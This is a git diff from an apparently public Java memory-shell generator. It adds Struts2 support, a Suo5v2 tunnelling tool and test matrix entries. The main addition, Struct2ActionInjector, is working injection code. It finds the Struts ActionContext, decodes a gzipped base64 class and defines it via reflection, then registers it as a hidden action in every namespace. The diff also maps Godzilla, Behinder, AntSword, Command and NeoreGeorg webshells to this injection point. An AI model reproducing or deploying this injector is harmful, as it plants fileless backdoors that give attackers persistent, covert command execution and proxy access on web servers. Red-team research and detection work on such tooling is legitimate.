ReaJason · ReaJason · Dec 9, 2025 · Dec 8, 2025 · Dec 9, 2025 · Dec 9, 2025
diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml
@@ -48,6 +48,8 @@ jobs:
             depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
           - middleware: "xxljob"
             depend_tasks: ""
+          - middleware: "struct2"
+            depend_tasks: ":vul:vul-struct2:war"
     runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:

diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml
@@ -42,8 +42,8 @@ jobs:
             depend_tasks: ":vul:vul-webapp:war"
           - middleware: "springwebmvc"
             depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
-          - middleware: "springwebflux"
-            depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
+          - middleware: "struct2"
+            depend_tasks: ":vul:vul-struct2:war"
     runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:

diff --git a/asserts/suo5/suo5v2-darwin-arm64 b/asserts/suo5/suo5v2-darwin-arm64
diff --git a/asserts/suo5/suo5v2-linux-amd64 b/asserts/suo5/suo5v2-linux-amd64
diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java
@@ -55,7 +55,7 @@ public ShellToolConfig parseShellToolConfig() {
                     .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
                     .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
                     .build();
-            case Suo5 -> Suo5Config.builder()
+            case Suo5, Suo5v2 -> Suo5Config.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())

diff --git a/build.gradle.kts b/build.gradle.kts
@@ -9,7 +9,7 @@ idea {
     }
 }
 
-version = "2.3.0"
+version = "2.4.0-SNAPSHOT"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")

diff --git a/generator/src/main/java/com/reajason/javaweb/Server.java b/generator/src/main/java/com/reajason/javaweb/Server.java
@@ -20,4 +20,5 @@ public class Server {
     public static final String SpringWebMvc = "SpringWebMvc";
     public static final String SpringWebFlux = "SpringWebFlux";
     public static final String XXLJOB = "XXLJOB";
+    public static final String Struct2 = "Struct2";
 }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java
@@ -8,6 +8,7 @@
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.neoreg.*;
 import com.reajason.javaweb.memshell.shelltool.suo5.*;
+import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
 
 import java.util.Collections;
 import java.util.List;
@@ -44,6 +45,7 @@ public class ServerFactory {
         register(Server.SpringWebMvc, SpringWebMvc::new);
         register(Server.SpringWebFlux, SpringWebFlux::new);
         register(Server.XXLJOB, XxlJob::new);
+        register(Server.Struct2, Struct2::new);
 
         addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                 .addShellClass(SERVLET, GodzillaServlet.class)
@@ -76,6 +78,7 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
+                .addShellClass(ACTION, GodzillaStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -100,6 +103,7 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
+                .addShellClass(ACTION, BehinderStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -117,6 +121,7 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
+                .addShellClass(ACTION, AntSwordStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -151,6 +156,7 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
+                .addShellClass(ACTION, CommandStruct2Action.class)
                 .build());
 
         addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -176,6 +182,33 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
+                .addShellClass(ACTION, Suo5Struct2Action.class)
+                .build());
+
+        addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
+                .addShellClass(SERVLET, Suo5v2Servlet.class)
+                .addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
+                .addShellClass(FILTER, Suo5v2Filter.class)
+                .addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
+                .addShellClass(LISTENER, Suo5v2Listener.class)
+                .addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
+                .addShellClass(VALVE, Suo5v2Valve.class)
+                .addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
+                .addShellClass(PROXY_VALVE, Suo5v2.class)
+                .addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
+                .addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
+                .addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
+                .addShellClass(ACTION, Suo5v2Struct2Action.class)
+                .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
                 .build());
 
         addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -200,6 +233,7 @@ public class ServerFactory {
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
+                .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
                 .build());
     }
 

diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java
@@ -9,6 +9,7 @@ public class ShellTool {
     public static final String Behinder = "Behinder";
     public static final String Command = "Command";
     public static final String Suo5 = "Suo5";
+    public static final String Suo5v2 = "Suo5v2";
     public static final String AntSword = "AntSword";
     public static final String NeoreGeorg = "NeoreGeorg";
     public static final String Custom = "Custom";

diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java
@@ -23,6 +23,7 @@ public class ShellToolFactory {
         register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
         register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
         register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
+        register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
         register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
         register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
         register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);

diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java
@@ -46,4 +46,6 @@ public class ShellType {
     public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
     public static final String WEBSOCKET = "WebSocket";
     public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
+
+    public static final String ACTION = "Action";
 }
diff --git a/...r/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java b/...r/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java
@@ -0,0 +1,230 @@
+package com.reajason.javaweb.memshell.injector.struct2;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/8
+ */
+public class Struct2ActionInjector {
+
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public Struct2ActionInjector() {
+        if (ok) {
+            return;
+        }
+        Object context = null;
+        try {
+            context = getContext();
+        } catch (Throwable e) {
+            msg += "context error: " + getErrorMessage(e);
+        }
+        if (context == null) {
+            msg += "context not found";
+        } else {
+            try {
+                Object shell = getShell(context);
+                inject(context, shell);
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    public Object getContext() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            ClassLoader contextClassLoader = thread.getContextClassLoader();
+            if (contextClassLoader != null) {
+                try {
+                    Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
+                    Object context = clazz.getMethod("getContext").invoke(null);
+                    if (context != null) {
+                        return context;
+                    }
+                } catch (ClassNotFoundException e) {
+                    continue;
+                }
+            }
+        }
+        return null;
+    }
+
+    private void inject(Object context, Object shell) throws Exception {
+        Object actionInvocation = invokeMethod(context, "getActionInvocation");
+        Object actionProxy = getFieldValue(actionInvocation, "proxy");
+        Object configuration = getFieldValue(actionProxy, "configuration");
+        Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
+        Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
+        for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
+            String namespace = entry.getKey();
+            Map<String, Object> configs = entry.getValue();
+            if (!configs.isEmpty()) {
+                Object firstActionConfig = configs.entrySet().iterator().next().getValue();
+                String actionName = getUrlPattern().substring(1);
+                if (configs.containsKey(actionName)) {
+                    continue;
+                }
+                String packageName = (String) getFieldValue(firstActionConfig, "packageName");
+                Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
+                Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
+                actionConfigConstructor.setAccessible(true);
+                Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
+                configs.put(actionName, actionConfig);
+                msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
+            }
+        }
+    }
+
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @Override
+    public String toString() {
+        return msg;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) throws
+            Exception {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}